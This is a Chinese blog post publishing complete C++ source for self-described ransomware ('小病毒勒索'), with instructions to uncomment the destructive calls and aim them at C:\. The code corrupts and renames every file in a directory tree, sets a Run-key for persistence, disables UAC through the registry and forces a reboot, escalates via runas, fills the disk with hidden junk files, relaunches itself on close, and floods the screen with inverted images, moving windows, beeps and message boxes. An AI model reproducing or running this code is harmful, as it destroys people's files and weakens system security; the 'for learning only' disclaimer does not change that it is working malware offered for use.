当前位置: 首页 > article >正文

C++小病毒-1.0勒索(更新次数:1)

内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作

在C++20环境下,并在虚拟机里运行此代码!,病毒带来后果自负!

使用时请删除在main()里的注释,并修改位置至C:\\(看我代码注释)//可以改成WIN Main()


#include <iostream>
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include <string>
#include <filesystem>
#include <signal.h>
#include <csignal>
#include <shlwapi.h>
#include <shcore.h>
#include <thread> 
#include <graphics.h>
#pragma comment(lib, "shlwapi.lib")
using namespace std;
namespace fs = std::filesystem;
const int screenWidth = GetSystemMetrics(SM_CXSCREEN);
const int screenHeight = GetSystemMetrics(SM_CYSCREEN);
void writeWordName(const std::string& filename) {
    size_t pos = filename.find_last_of('.');
    std::string newFilename;
    if (pos != std::string::npos) {
        newFilename = filename.substr(0, pos) + ".人丰NB人丰666";
    }
    else {
        newFilename = filename + ".人丰NB人丰666";
    }
    try {
        fs::rename(filename, newFilename);
        std::cout << "文件已加密为: " << newFilename << std::endl;
    }
    catch (const fs::filesystem_error& e) {
        std::cerr << "重命名文件时出错: " << e.what() << std::endl;
    }
}
void flashWindow(const std::string& filename) {
    std::fstream file(filename, std::ios::in | std::ios::out | std::ios::binary);
    if (!file) {
        std::cerr << "无法打开文件: " << filename << std::endl;
        return;
    }

    try {
        file.seekg(0, std::ios::end);
        std::streamsize size = file.tellg();
        file.seekg(0, std::ios::beg);
        for (int i = 0; i < size; i++) {
            file.seekg(i, std::ios::beg);
            char byte;
            if (!file.read(&byte, sizeof(byte))) {
                std::cerr << "读取文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;
                continue;
            }
            if (i % 3 == 0) {
                byte = byte % 0x37;
                byte = (byte + 0x10) % 0xFF;
            }
            if (i % 3 == 1) {
                byte = byte % 0x43;
                byte = (byte + 0x20) % 0xFF;
            }
            if (i % 3 == 2) {
                byte = byte % 0x71;
                byte = (byte + 0x30) % 0xFF;
            }
            file.seekp(i, std::ios::beg);
            if (!file.write(&byte, sizeof(byte))) {
                std::cerr << "写入文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;
                continue;
            }
        }
    }
    catch (...) {
        std::cerr << "文件加密过程出现异常" << std::endl;
    }
    file.close();
    writeWordName(filename);
}
void scanDirectory(const std::string& path) {
    for (const auto& entry : fs::recursive_directory_iterator(path)) {
        if (entry.is_regular_file()) {
            flashWindow(entry.path().string());
        }
    }
}
void WriteStart()//开机自启动
{
    char path[MAX_PATH]; HKEY hKey;
    DWORD length = GetModuleFileNameA(NULL, path, MAX_PATH);
    LONG result; result = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_SET_VALUE, &hKey);
    const TCHAR* valueName = TEXT("MyApp");
    const TCHAR* valueData = TEXT(path);
    result = RegSetValueEx(hKey, valueName, 0, REG_SZ, (const BYTE*)valueData, (lstrlen(valueData) + 1) * sizeof(TCHAR));
    RegCloseKey(hKey);
}
void GetWordNameAndStart() {
    char buffer[MAX_PATH];
    if (GetModuleFileName(NULL, buffer, MAX_PATH) > 0) {
        std::string str(buffer);
        LPCTSTR path = str.c_str();
        HINSTANCE result = ShellExecute(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL);
        if ((int)result <= 32) {
            std::cerr << "打开文件失败,错误码: " << (int)result << std::endl;
        }
    }
}
BOOL SetProcessCtrlHandler() {
    return SetConsoleCtrlHandler([](DWORD dwCtrlType) -> BOOL {
        switch (dwCtrlType) {
        case CTRL_C_EVENT:
        case CTRL_BREAK_EVENT:
        case CTRL_CLOSE_EVENT:
        case CTRL_LOGOFF_EVENT:
        case CTRL_SHUTDOWN_EVENT:
            GetWordNameAndStart();
            return TRUE;
        default:
            return FALSE;
        }
        }, TRUE);
}
void createFileWithContent_1MB(const std::string& filePath) {
    const int fileSize = 1048576;
    std::vector<char> buffer(fileSize, '0');
    std::ofstream file(filePath, std::ios::binary);
    if (file.is_open()) {
        file.write(buffer.data(), fileSize);
        file.close();
    }
    else {
        std::cerr << "无法创建文件: " << filePath << std::endl;
    }
}
void CreateFileTo(const std::string& path, const int& SUM, const std::string& WordName) {
    for (int i = 0; i < SUM; ++i) {
        std::string folderPath = path + "\\" + WordName + std::to_string(i);
        // 创建文件夹
        if (CreateDirectory(folderPath.c_str(), NULL) || ERROR_ALREADY_EXISTS == GetLastError()) {
            // 设置文件夹为隐藏属性
            SetFileAttributes(folderPath.c_str(), FILE_ATTRIBUTE_HIDDEN);
            int RandSum = rand();
            // 创建文件并写入内容
            std::string filePath = folderPath + "\\人丰NB人丰666.人丰NB人丰666" + std::to_string(RandSum);
            createFileWithContent_1MB(filePath);
        }
        else {
            std::cerr << "无法创建文件夹: " << folderPath << std::endl;
        }
    }
}
bool Kill_AntivirusSoftware() {
    return false;
}
void display_run_moveWindows(HWND hWnd) {
    SetProcessDPIAware();
    srand(static_cast<unsigned int>(time(NULL))); // 初始化随机数种子
    RECT rect;GetWindowRect(hWnd, &rect);
    int windowWidth = rect.right - rect.left;
    int windowHeight = rect.bottom - rect.top;
    // 生成随机位置,确保窗口不会超出屏幕范围
    while (true) {
        int newX = rand() % screenWidth;
        int newY = rand() % screenHeight;
        MoveWindow(hWnd, newX, newY,windowWidth,windowHeight, TRUE);
        Sleep(1000);
    }
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
    thread myThread21(display_run_moveWindows,hwnd);
    myThread21.detach(); // 分离子线程
    return TRUE;
}
void MessageBox_ZYNTM_RUN(int i) {
    while (true)
    {
        if(i==1) MessageBox(NULL,"鸡你太美","鸡你太美", MB_OK);
        if(i==2) MessageBox(NULL,"你干嘛~,哎呦~", "你干嘛~,哎呦~", MB_OK);
        if(i==3) MessageBox(NULL, "360安全卫生为您守护电脑", "360安全卫生为您守护电脑", MB_OK);
        if(i==4) MessageBox(NULL, "大家好,我是练习时长两年半的个人练习生-蔡徐坤", "大家好,我是练习时长两年半的个人练习生-蔡徐坤", MB_OK);
    }
}
void MessageBox_ZYNTM_CTRL() {
    while (true) {
        thread myThread31(MessageBox_ZYNTM_RUN,1);
        thread myThread32(MessageBox_ZYNTM_RUN,2);
        thread myThread33(MessageBox_ZYNTM_RUN,3);
        thread myThread34(MessageBox_ZYNTM_RUN,4);
        myThread31.detach();
        myThread32.detach();
        myThread33.detach();
        myThread34.detach();
        Sleep(350);
    }
}
void Windows_music() {
    while (true)
    {
        Beep(375,300);
        Beep(500,300);
    }
}
void DrawFullscreenRectangle() {//在桌面上画图
    // 获取屏幕设备上下文句柄
    SetProcessDPIAware();
    HDC hdcScreen = GetDC(NULL);
    if (hdcScreen == NULL) {
        std::cerr << "无法获取屏幕设备上下文句柄。" << std::endl;
        return;
    }
    // 获取屏幕的宽度和高度
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);
    int screenHeight = GetSystemMetrics(SM_CYSCREEN);

    // 创建一个与屏幕兼容的内存设备上下文
    HDC hdcMem = CreateCompatibleDC(hdcScreen);
    if (hdcMem == NULL) {
        std::cerr << "无法创建内存设备上下文。" << std::endl;
        ReleaseDC(NULL, hdcScreen);
        return;
    }

    // 创建一个 DIB 位图
    BITMAPINFO bmi;
    ZeroMemory(&bmi, sizeof(BITMAPINFO));
    bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmi.bmiHeader.biWidth = screenWidth;
    bmi.bmiHeader.biHeight = -screenHeight; // 负高度表示底部 - 顶部顺序
    bmi.bmiHeader.biPlanes = 1;
    bmi.bmiHeader.biBitCount = 32;
    bmi.bmiHeader.biCompression = BI_RGB;

    void* pBits;
    HBITMAP hBitmap = CreateDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);
    if (hBitmap == NULL) {
        std::cerr << "无法创建 DIB 位图。" << std::endl;
        DeleteDC(hdcMem);
        ReleaseDC(NULL, hdcScreen);
        return;
    }

    // 选入位图到内存设备上下文
    HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdcMem, hBitmap);

    // 将屏幕内容复制到内存设备上下文中
    BitBlt(hdcMem, 0, 0, screenWidth, screenHeight, hdcScreen, 0, 0, SRCCOPY);

    // 直接操作位图数据进行反色
    DWORD* pPixel = (DWORD*)pBits;
    for (int i = 0; i < screenWidth * screenHeight; i++) {
        *pPixel = RGB(255 - GetRValue(*pPixel), 255 - GetGValue(*pPixel), 255 - GetBValue(*pPixel));
        pPixel++;
    }
    for (int i = 0; i < 100; i++) {
        // 将反色后的内容复制回屏幕
        BitBlt(hdcScreen, 0, 0, screenWidth, screenHeight, hdcMem, 0, 0, SRCCOPY);
        Sleep(10);
    }

    // 恢复原始位图
    SelectObject(hdcMem, hOldBitmap);

    // 释放资源
    DeleteObject(hBitmap);
    DeleteDC(hdcMem);
    ReleaseDC(NULL, hdcScreen);
}
void window_display_run() {//中毒视觉效果
    thread myThread13(Windows_music);
    myThread13.detach();//放音乐
    Sleep(3000);
    for (int i = 0; i < 15; i++) {
        thread myThread14(DrawFullscreenRectangle);
        myThread14.join();//屏幕反色
    }
    thread myThread12(MessageBox_ZYNTM_CTRL);
    myThread12.detach();
    while (true) {
        thread myThread11(EnumWindows, EnumWindowsProc, 0);
        myThread11.join();
        thread myThread14(DrawFullscreenRectangle);
        myThread14.join();//屏幕反色
        Sleep(350);
    }
}
bool isUACDisabled() {//检查UCA
    HKEY hKey;
    DWORD uacLevel = 0;
    DWORD size = sizeof(DWORD);

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        if (RegQueryValueEx(hKey, "EnableLUA", NULL, NULL, (LPBYTE)&uacLevel, &size) == ERROR_SUCCESS) {
            RegCloseKey(hKey);
            if (uacLevel == 0) {
                return true;
            }
            else {
                return false;
            }
        }
        else {
            std::cerr << "Failed to query UAC level. Error code: " << GetLastError() << std::endl;
            RegCloseKey(hKey);
            return false;
        }
    }
    else {
        std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;
        return false;
    }
}
bool setUACLevelToHigh() {//关闭UCA
    if (isUACDisabled() == true)return true;
    HKEY hKey;
    DWORD newValue = 0;
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
        if (RegSetValueEx(hKey, "EnableLUA", 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD)) == ERROR_SUCCESS) {
            RegCloseKey(hKey);system("shutdown /r /t 0");
            return true;}
        else {
            std::cerr << "Failed to set EnableLUA value. Error code: " << GetLastError() << std::endl;
            RegCloseKey(hKey);
            return false;}}
    else {
        std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;
        return false;}
}
bool elevateToAdmin() {
    if(setUACLevelToHigh()==false)
        if (setUACLevelToHigh() == false)
        {cout << "I'm sorry,Are you OK?"; }
    BOOL isAdmin = FALSE;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;
    if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup)) {
        if (!CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin)) {
            isAdmin = FALSE;
        }
        FreeSid(AdministratorsGroup);
    }
    if (isAdmin == false) {
        char szPath[MAX_PATH];
        GetModuleFileNameA(NULL, szPath, MAX_PATH);  // 使用 GetModuleFileNameA 处理 ANSI 字符串
        std::string commandLine = "\"" + std::string(szPath) + "\"";
        LPSTR szCommandLine = const_cast<LPSTR>(commandLine.c_str());
        SHELLEXECUTEINFOA sei = { sizeof(SHELLEXECUTEINFOA) };
        sei.lpVerb = "runas";  // 请求管理员权限
        sei.lpFile = szPath;
        sei.lpParameters = NULL;
        sei.lpDirectory = NULL;
        sei.nShow = SW_SHOWNORMAL;
        sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;
        if (!ShellExecuteExA(&sei)) {
            std::cerr << "Failed to restart as administrator." << std::endl;
            return false;
        }
        else {
            exit(0);
            return true;
        }
    }
    std::cout << "This program is running with administrative privileges." << std::endl;
    return true;
}
//int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
int main(){
    srand((time(0)));
    //thread myThread2(WriteStart); //注册表开机自启动
    //myThread2.join(); //设置成功后
    //if (elevateToAdmin() == false)//尝试升级为管理员
    //    if (elevateToAdmin() == false)
    //        cout << "Are you ok? Are you fine ?";

    // thread myThread(CreateFileTo,"F:\\本地磁盘C",10,"54088");//创建垃圾文件占用内存
    // thread myThread3(scanDirectory,"F:\\本地磁盘C");//加密文件
    thread myThread4(window_display_run); //病毒桌面特效
    //thread myThread5(Kill_AntivirusSoftware); //关闭杀毒软件

    
    //以下是主进程区域

 
    //SetProcessCtrlHandler();//关掉重启项



    //以上是主进程区域
    


    //myThread.join(); 
   // myThread3.join();
     myThread4.join();
   // myThread5.join();
    while (1);
    return 0;
}


http://www.kler.cn/a/518180.html

相关文章:

  • C++入门(1)
  • 剑指 Offer II 008. 和大于等于 target 的最短子数组
  • ESP32-S3模组上跑通esp32-camera(36)
  • postgres基准测试工具pgbench如何使用自定义的表结构和自定义sql
  • linux asio网络编程理论及实现
  • 【教学类-99-01】20250127 蛇年红包(WORD模版)
  • 单片机(STC89C52)开发:点亮一个小灯
  • C++ list 容器用法
  • 题解 洛谷 Luogu P4715 【深基16.例1】淘汰赛 C++
  • 技术 · 创作 · 生活 | 我的 2024 全面复盘
  • 深圳大学-智能网络与计算-实验二:STM32编程实验
  • 【PyCharm】将包含多个参数的 shell 脚本配置到执行文件来调试 Python 程序
  • Linux多路转接之epoll(补充)
  • 网络系统管理Linux环境——智慧运维平台部署(乐维LW)
  • 学习第七十五行
  • Command Center AI
  • BME280一款测量温度、湿度和气压的环境传感器
  • 【Nomoto 船舶模型】
  • 基于Arduino的厨房安全检测系统:守护家庭的智能助手
  • StarRocks 3.4 发布--AI 场景新支点,Lakehouse 能力再升级
  • MiniMax 稀宇科技
  • Go的内存逃逸
  • Redis数据库笔记——数据结构类型
  • Android程序中使用FFmpeg库
  • 大模型语料库的构建过程 包括知识图谱构建 垂直知识图谱构建 输入到sql构建 输入到cypher构建 通过智能体管理数据生产组件
  • 【论文+源码】Difformer在文本生成嵌入空间上增强扩散模型